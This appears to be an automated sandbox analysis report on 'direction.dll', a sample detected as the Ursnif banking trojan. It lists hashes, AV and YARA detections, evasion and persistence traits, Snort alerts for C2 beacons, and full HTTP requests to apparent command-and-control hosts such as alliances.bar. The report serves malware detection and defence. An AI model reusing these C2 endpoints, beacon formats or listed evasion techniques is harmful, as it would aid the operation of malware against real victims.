Windows Analysis Report direction.dll

Overview

General Information

Sample Name: direction.dll
Analysis ID: 454630
MD5: 499200f6a8e223c057c6e16701740721
SHA1: ef46f9c62b94715b750173074c51100285ff6fe9
SHA256: d7e64f8e65ce586ce2f0a857810b2a23f85140bf5e52e5a824f09787fb2bf45e
Tags: exe
Infos:

Most interesting Screenshot:

Detection

Ursnif
Score: 76
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Multi AV Scanner detection for submitted file
Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)
Yara detected Ursnif
Creates an undocumented autostart registry key
Writes or reads registry keys via WMI
Writes registry values via WMI
Antivirus or Machine Learning detection for unpacked file
Contains functionality to call native functions
Contains functionality to dynamically determine API calls
Contains functionality to query CPU information (cpuid)
Contains functionality to read the PEB
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
May sleep (evasive loops) to hinder dynamic analysis
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
PE file contains an invalid checksum
PE file contains more sections than normal
PE file contains sections with non-standard names
PE file contains strange resources
Registers a DLL
Sample execution stops while process was sleeping (likely an evasion)
Tries to load missing DLLs
Uses 32bit PE files
Uses code obfuscation techniques (call, push, ret)

Classification

AV Detection:

barindex
Multi AV Scanner detection for submitted file
Source: direction.dll Virustotal: Detection: 22% Perma Link
Antivirus or Machine Learning detection for unpacked file
Source: 2.2.regsvr32.exe.10000000.4.unpack Avira: Label: TR/Crypt.XPACK.Gen8
Source: 4.2.rundll32.exe.10000000.4.unpack Avira: Label: TR/Crypt.XPACK.Gen8
Source: 0.2.loaddll32.exe.10000000.3.unpack Avira: Label: TR/Crypt.XPACK.Gen8

Compliance:

barindex
Uses 32bit PE files
Source: direction.dll Static PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, DLL, LINE_NUMS_STRIPPED, RELOCS_STRIPPED
Source: C:\Program Files (x86)\Internet Explorer\iexplore.exe File opened: C:\Program Files (x86)\Java\jre1.8.0_211\bin\msvcr100.dll Jump to behavior
Source: unknown HTTPS traffic detected: 104.20.185.68:443 -> 192.168.2.3:49734 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.20.185.68:443 -> 192.168.2.3:49735 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.70.134:443 -> 192.168.2.3:49738 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.70.134:443 -> 192.168.2.3:49739 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.69.19:443 -> 192.168.2.3:49742 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.69.19:443 -> 192.168.2.3:49743 version: TLS 1.2
Source: unknown HTTPS traffic detected: 142.250.186.70:443 -> 192.168.2.3:49740 version: TLS 1.2
Source: unknown HTTPS traffic detected: 142.250.186.70:443 -> 192.168.2.3:49741 version: TLS 1.2
Source: unknown HTTPS traffic detected: 151.101.1.44:443 -> 192.168.2.3:49755 version: TLS 1.2
Source: unknown HTTPS traffic detected: 151.101.1.44:443 -> 192.168.2.3:49753 version: TLS 1.2
Source: unknown HTTPS traffic detected: 151.101.1.44:443 -> 192.168.2.3:49757 version: TLS 1.2
Source: unknown HTTPS traffic detected: 151.101.1.44:443 -> 192.168.2.3:49756 version: TLS 1.2
Source: unknown HTTPS traffic detected: 151.101.1.44:443 -> 192.168.2.3:49758 version: TLS 1.2
Source: unknown HTTPS traffic detected: 151.101.1.44:443 -> 192.168.2.3:49754 version: TLS 1.2

Networking:

barindex
Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)
Source: Traffic Snort IDS: 2033203 ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B) 192.168.2.3:49775 -> 195.110.59.2:80
Source: Traffic Snort IDS: 2033203 ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B) 192.168.2.3:49776 -> 195.110.59.2:80
Source: Traffic Snort IDS: 2033203 ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B) 192.168.2.3:49777 -> 195.110.59.2:80
Source: Traffic Snort IDS: 2033203 ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B) 192.168.2.3:49778 -> 195.110.59.2:80
Source: Traffic Snort IDS: 2033203 ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B) 192.168.2.3:49779 -> 195.110.59.2:80
Source: Traffic Snort IDS: 2033203 ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B) 192.168.2.3:49780 -> 195.110.59.2:80
Source: Traffic Snort IDS: 2033203 ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B) 192.168.2.3:49781 -> 195.110.59.2:80
Source: Traffic Snort IDS: 2033203 ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B) 192.168.2.3:49793 -> 162.255.119.73:80
Source: Traffic Snort IDS: 2033204 ET TROJAN Ursnif Variant CnC Beacon - URI Struct M2 (_2F) 192.168.2.3:49796 -> 162.255.119.73:80
Source: Traffic Snort IDS: 2033203 ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B) 192.168.2.3:49796 -> 162.255.119.73:80
Source: Traffic Snort IDS: 2033203 ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B) 192.168.2.3:49798 -> 198.54.117.218:80
Source: Traffic Snort IDS: 2033203 ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B) 192.168.2.3:49799 -> 198.54.117.218:80
Source: Traffic Snort IDS: 2033204 ET TROJAN Ursnif Variant CnC Beacon - URI Struct M2 (_2F) 192.168.2.3:49801 -> 198.54.117.218:80
Source: Traffic Snort IDS: 2033203 ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B) 192.168.2.3:49801 -> 198.54.117.218:80
Source: Traffic Snort IDS: 2033203 ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B) 192.168.2.3:49802 -> 198.54.117.218:80
Source: Traffic Snort IDS: 2033203 ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B) 192.168.2.3:49803 -> 198.54.117.218:80
Source: Traffic Snort IDS: 2033203 ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B) 192.168.2.3:49804 -> 198.54.117.218:80
Source: Traffic Snort IDS: 2033203 ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B) 192.168.2.3:49805 -> 198.54.117.218:80
Source: Traffic Snort IDS: 2033203 ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B) 192.168.2.3:49807 -> 198.54.117.218:80
Source: Traffic Snort IDS: 2033204 ET TROJAN Ursnif Variant CnC Beacon - URI Struct M2 (_2F) 192.168.2.3:49808 -> 195.110.59.2:80
Source: Traffic Snort IDS: 2033203 ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B) 192.168.2.3:49808 -> 195.110.59.2:80
Source: Traffic Snort IDS: 2033204 ET TROJAN Ursnif Variant CnC Beacon - URI Struct M2 (_2F) 192.168.2.3:49809 -> 195.110.59.2:80
Source: Traffic Snort IDS: 2033203 ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B) 192.168.2.3:49809 -> 195.110.59.2:80
Source: Traffic Snort IDS: 2033204 ET TROJAN Ursnif Variant CnC Beacon - URI Struct M2 (_2F) 192.168.2.3:49811 -> 195.110.59.2:80
Source: Traffic Snort IDS: 2033203 ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B) 192.168.2.3:49811 -> 195.110.59.2:80
Source: Traffic Snort IDS: 2033204 ET TROJAN Ursnif Variant CnC Beacon - URI Struct M2 (_2F) 192.168.2.3:49812 -> 162.255.119.245:80
Source: Traffic Snort IDS: 2033204 ET TROJAN Ursnif Variant CnC Beacon - URI Struct M2 (_2F) 192.168.2.3:49815 -> 198.54.117.218:80
Source: Traffic Snort IDS: 2033203 ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B) 192.168.2.3:49818 -> 162.255.119.245:80
Source: Traffic Snort IDS: 2033203 ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B) 192.168.2.3:49820 -> 198.54.117.210:80
Source: global traffic HTTP traffic detected: GET /jdraw/O3iaA2hu956AXTvBy/pROO_2Bezcv9/4EW_2BE2GiS/RrILj1FVsG0NgC/bEj1Md4FXMzXd_2BsQDkk/2E3fgPGlvmi62b6L/klQsJbFHAOHko_2/BUEsaqmse4HJAFyRlL/vhVfnT0FY/WbXAIRBRE8knIva7gP_2/FTNZLj1OD4sSLJ7_2B_/2BtcED7ctzJHZCgi_2FvX3/yhOQIkIeSXX6q/n.crw HTTP/1.1Accept: text/html, application/xhtml+xml, image/jxr, */*Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: alliances.barConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /jdraw/O3iaA2hu956AXTvBy/pROO_2Bezcv9/4EW_2BE2GiS/RrILj1FVsG0NgC/bEj1Md4FXMzXd_2BsQDkk/2E3fgPGlvmi62b6L/klQsJbFHAOHko_2/BUEsaqmse4HJAFyRlL/vhVfnT0FY/WbXAIRBRE8knIva7gP_2/FTNZLj1OD4sSLJ7_2B_/2BtcED7ctzJHZCgi_2FvX3/yhOQIkIeSXX6q/n.crw HTTP/1.1Accept: text/html, application/xhtml+xml, image/jxr, */*Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: alliances.barConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /jdraw/O3iaA2hu956AXTvBy/pROO_2Bezcv9/4EW_2BE2GiS/RrILj1FVsG0NgC/bEj1Md4FXMzXd_2BsQDkk/2E3fgPGlvmi62b6L/klQsJbFHAOHko_2/BUEsaqmse4HJAFyRlL/vhVfnT0FY/WbXAIRBRE8knIva7gP_2/FTNZLj1OD4sSLJ7_2B_/2BtcED7ctzJHZCgi_2FvX3/yhOQIkIeSXX6q/n.crw HTTP/1.1Accept: text/html, application/xhtml+xml, image/jxr, */*Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: alliances.barConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /jdraw/O3iaA2hu956AXTvBy/pROO_2Bezcv9/4EW_2BE2GiS/RrILj1FVsG0NgC/bEj1Md4FXMzXd_2BsQDkk/2E3fgPGlvmi62b6L/klQsJbFHAOHko_2/BUEsaqmse4HJAFyRlL/vhVfnT0FY/WbXAIRBRE8knIva7gP_2/FTNZLj1OD4sSLJ7_2B_/2BtcED7ctzJHZCgi_2FvX3/yhOQIkIeSXX6q/n.crw HTTP/1.1Accept: text/html, application/xhtml+xml, image/jxr, */*Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: alliances.barConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /jdraw/O3iaA2hu956AXTvBy/pROO_2Bezcv9/4EW_2BE2GiS/RrILj1FVsG0NgC/bEj1Md4FXMzXd_2BsQDkk/2E3fgPGlvmi62b6L/klQsJbFHAOHko_2/BUEsaqmse4HJAFyRlL/vhVfnT0FY/WbXAIRBRE8knIva7gP_2/FTNZLj1OD4sSLJ7_2B_/2BtcED7ctzJHZCgi_2FvX3/yhOQIkIeSXX6q/n.crw HTTP/1.1Accept: text/html, application/xhtml+xml, image/jxr, */*Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: alliances.barConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /jdraw/O3iaA2hu956AXTvBy/pROO_2Bezcv9/4EW_2BE2GiS/RrILj1FVsG0NgC/bEj1Md4FXMzXd_2BsQDkk/2E3fgPGlvmi62b6L/klQsJbFHAOHko_2/BUEsaqmse4HJAFyRlL/vhVfnT0FY/WbXAIRBRE8knIva7gP_2/FTNZLj1OD4sSLJ7_2B_/2BtcED7ctzJHZCgi_2FvX3/yhOQIkIeSXX6q/n.crw HTTP/1.1Accept: text/html, application/xhtml+xml, image/jxr, */*Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: alliances.barConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /jdraw/O3iaA2hu956AXTvBy/pROO_2Bezcv9/4EW_2BE2GiS/RrILj1FVsG0NgC/bEj1Md4FXMzXd_2BsQDkk/2E3fgPGlvmi62b6L/klQsJbFHAOHko_2/BUEsaqmse4HJAFyRlL/vhVfnT0FY/WbXAIRBRE8knIva7gP_2/FTNZLj1OD4sSLJ7_2B_/2BtcED7ctzJHZCgi_2FvX3/yhOQIkIeSXX6q/n.crw HTTP/1.1Accept: text/html, application/xhtml+xml, image/jxr, */*Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: alliances.barConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /jdraw/T3XNZT6zZjYD38/irugL9bm6bNKUFAIonM6H/wQL3HgmSBf4ywwYC/sCXsyThPbupkuWW/HhhD2tIgDuvCZc7SAr/u3tIlTv46/0VagixoIliZmOzrIJ8Gv/e15Bb16QLC3Qf1P6zSC/O1DjOyt740UVseH_2FPgwL/iVEyQ72HDAwgH/K2st7xyH/Ngp0jwDDrKGldAKNE1lGwr3/tPn1Qdvj/JvRqnbko7/r.crw HTTP/1.1Accept: text/html, application/xhtml+xml, image/jxr, */*Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: alliances.barConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /jdraw/EyekExaBW/AOmJRyo4fJFkPCi2jsPG/WyXo9UA7YyvHWkf5vtk/lKMztsIaB1HB9NTYYsSHgD/fQz2o9_2FQPif/0fDicM8g/8PZEF_2FfgYAg2gcvHBhP_2/FUzJr56vzj/WTbT4OEmvC2xapmxA/FYCvjWtA654H/XdKJrCOAQpA/_2BYDSsnxLQkRX/is5GUyU1jivaQMJ/C0L6SBH.crw HTTP/1.1Accept: text/html, application/xhtml+xml, image/jxr, */*Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: alliances.barConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /jdraw/eKIdVq7xEW6JzcVSOG/YGAz0kRmP/C0f1b_2FRes_2FjY8B_2/B_2Fd5AfZVKD5X9IhDZ/d694TVwOFdByJwCY79yvmz/7R58NwfRecoLg/aA_2Bw0R/p0gM8vDZjy0ps_2BUIayQq9/Rn_2Bt_2F4/d1DmvYN0laOIuMrK4/gzoaehTV9xyU/Nf7ZEAISl2G/tYbkdP7D4szBeT/SRCKquNWp/kay.crw HTTP/1.1Accept: text/html, application/xhtml+xml, image/jxr, */*Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: alliances.barConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /jdraw/eKIdVq7xEW6JzcVSOG/YGAz0kRmP/C0f1b_2FRes_2FjY8B_2/B_2Fd5AfZVKD5X9IhDZ/d694TVwOFdByJwCY79yvmz/7R58NwfRecoLg/aA_2Bw0R/p0gM8vDZjy0ps_2BUIayQq9/Rn_2Bt_2F4/d1DmvYN0laOIuMrK4/gzoaehTV9xyU/Nf7ZEAISl2G/tYbkdP7D4szBeT/SRCKquNWp/kay.crw HTTP/1.1Accept: text/html, application/xhtml+xml, image/jxr, */*Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: alliances.barConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /jdraw/eKIdVq7xEW6JzcVSOG/YGAz0kRmP/C0f1b_2FRes_2FjY8B_2/B_2Fd5AfZVKD5X9IhDZ/d694TVwOFdByJwCY79yvmz/7R58NwfRecoLg/aA_2Bw0R/p0gM8vDZjy0ps_2BUIayQq9/Rn_2Bt_2F4/d1DmvYN0laOIuMrK4/gzoaehTV9xyU/Nf7ZEAISl2G/tYbkdP7D4szBeT/SRCKquNWp/kay.crw HTTP/1.1Accept: text/html, application/xhtml+xml, image/jxr, */*Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: alliances.barConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /jdraw/HxV_2Bo2vQql/kYmaS26P5Yr/1ei7o7GvahAXm7/WZ9ceXuO8s82IXd2qjhTi/gVDefd7ypFoQitu8/GJUghRHALUiqDy6/hHVuLE2xYoEYA04ng_/2Biq6MgyI/mSB_2FHBwC8tZQO2_2FQ/pZwzJOVW5TItjHxGvRf/VMVOqBmY6oS2fveNdw30jR/tGgzoqtgAAQGtKXKfjWMF/pw.crw HTTP/1.1Accept: text/html, application/xhtml+xml, image/jxr, */*Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: alliances.barConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /jdraw/HxV_2Bo2vQql/kYmaS26P5Yr/1ei7o7GvahAXm7/WZ9ceXuO8s82IXd2qjhTi/gVDefd7ypFoQitu8/GJUghRHALUiqDy6/hHVuLE2xYoEYA04ng_/2Biq6MgyI/mSB_2FHBwC8tZQO2_2FQ/pZwzJOVW5TItjHxGvRf/VMVOqBmY6oS2fveNdw30jR/tGgzoqtgAAQGtKXKfjWMF/pw.crw HTTP/1.1Accept: text/html, application/xhtml+xml, image/jxr, */*Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: alliances.barConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /jdraw/HxV_2Bo2vQql/kYmaS26P5Yr/1ei7o7GvahAXm7/WZ9ceXuO8s82IXd2qjhTi/gVDefd7ypFoQitu8/GJUghRHALUiqDy6/hHVuLE2xYoEYA04ng_/2Biq6MgyI/mSB_2FHBwC8tZQO2_2FQ/pZwzJOVW5TItjHxGvRf/VMVOqBmY6oS2fveNdw30jR/tGgzoqtgAAQGtKXKfjWMF/pw.crw HTTP/1.1Accept: text/html, application/xhtml+xml, image/jxr, */*Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: alliances.barConnection: Keep-Alive
Source: unknown DNS traffic detected: queries for: www.msn.com
Source: rundll32.exe, 00000004.00000003.470024227.0000000002BA1000.00000004.00000001.sdmp String found in binary or memory: http://allianceline.bar
Source: rundll32.exe, 00000004.00000003.421876543.0000000002BA1000.00000004.00000001.sdmp String found in binary or memory: http://allianceline.bar/jdraw/Gp9teWEG7kYAFsedbNc/UjTWH9ALqm6j8DrZlcMNvN/A7uHg_2BWB8_2/FmuvQjea/W3LR
Source: rundll32.exe, 00000004.00000002.485605152.0000000002BA1000.00000004.00000001.sdmp String found in binary or memory: http://alliancer.bar
Source: rundll32.exe, 00000004.00000002.484637438.0000000002B4B000.00000004.00000001.sdmp String found in binary or memory: http://alliancer.bar/jdraw/IxaYG2PhzMHjwCX0WBwc/cmAvcstzmSKw031RJA_/2Fjblh6hTZRKkvCXX1cutr/m_2BxwDBu
Source: rundll32.exe, 00000004.00000002.484637438.0000000002B4B000.00000004.00000001.sdmp String found in binary or memory: http://alliances.bar/jdraw/
Source: unknown Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown HTTPS traffic detected: 104.20.185.68:443 -> 192.168.2.3:49734 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.20.185.68:443 -> 192.168.2.3:49735 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.70.134:443 -> 192.168.2.3:49738 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.70.134:443 -> 192.168.2.3:49739 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.69.19:443 -> 192.168.2.3:49742 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.69.19:443 -> 192.168.2.3:49743 version: TLS 1.2
Source: unknown HTTPS traffic detected: 142.250.186.70:443 -> 192.168.2.3:49740 version: TLS 1.2
Source: unknown HTTPS traffic detected: 142.250.186.70:443 -> 192.168.2.3:49741 version: TLS 1.2
Source: unknown HTTPS traffic detected: 151.101.1.44:443 -> 192.168.2.3:49755 version: TLS 1.2
Source: unknown HTTPS traffic detected: 151.101.1.44:443 -> 192.168.2.3:49753 version: TLS 1.2
Source: unknown HTTPS traffic detected: 151.101.1.44:443 -> 192.168.2.3:49757 version: TLS 1.2
Source: unknown HTTPS traffic detected: 151.101.1.44:443 -> 192.168.2.3:49756 version: TLS 1.2
Source: unknown HTTPS traffic detected: 151.101.1.44:443 -> 192.168.2.3:49758 version: TLS 1.2
Source: unknown HTTPS traffic detected: 151.101.1.44:443 -> 192.168.2.3:49754 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing:

barindex
Yara detected Ursnif
Source: Yara match File source: 0000001D.00000003.378625315.0000000007038000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000025.00000003.377493351.0000000004DD8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000025.00000003.377965158.0000000004DD8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000003.311524136.0000000005018000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.299067540.00000000052E8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 0000001D.00000003.379329065.0000000007038000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000021.00000003.353519210.0000000004AF8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000003.452882755.0000000001668000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000023.00000003.349169873.00000000069B8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000021.00000003.353381101.0000000004AF8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000003.452739993.0000000001668000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000003.311353638.0000000005018000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000021.00000003.353640605.0000000004AF8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000021.00000003.353482543.0000000004AF8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000023.00000003.349379368.00000000069B8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.299293489.00000000052E8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 0000001D.00000003.377754049.0000000007038000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000003.452599143.0000000001668000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000025.00000002.425611899.0000000004DD8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000003.452682864.0000000001668000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000023.00000003.349425307.00000000069B8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000023.00000003.349209886.00000000069B8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000002.488281426.0000000005018000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000003.452790659.0000000001668000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000023.00000003.349342259.00000000069B8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000023.00000003.349245069.00000000069B8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000021.00000003.353420356.0000000004AF8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 0000001D.00000003.379402147.0000000007038000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 0000001D.00000003.378397913.0000000007038000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000003.311162481.0000000005018000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000021.00000003.353660162.0000000004AF8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000025.00000003.376670409.0000000004DD8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000003.310218293.0000000005018000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000021.00000003.353285218.0000000004AF8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.299402333.00000000052E8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000003.310401449.0000000005018000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000003.310585045.0000000005018000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000025.00000003.377140325.0000000004DD8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000003.310811687.0000000005018000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000003.452941227.0000000001668000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.298617487.00000000052E8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 0000001D.00000003.377966823.0000000007038000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000023.00000003.349275169.00000000069B8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000025.00000003.377030195.0000000004DD8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000003.311655737.0000000005018000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000023.00000003.349118555.00000000069B8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000023.00000002.401300061.00000000069B8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.299506180.00000000052E8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 0000001D.00000003.379198024.0000000007038000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000002.487540264.00000000052E8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 0000001D.00000002.457353583.0000000007038000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.485787977.0000000001668000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.298330099.00000000052E8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000025.00000003.376078643.0000000004DD8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000003.452547670.0000000001668000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000021.00000002.442237673.0000000004AF8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000025.00000003.377890073.0000000004DD8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 0000001D.00000003.379544002.0000000007038000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.298892521.00000000052E8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000021.00000003.353559736.0000000004AF8000.00000004.00000040.sdmp, type: MEMORY
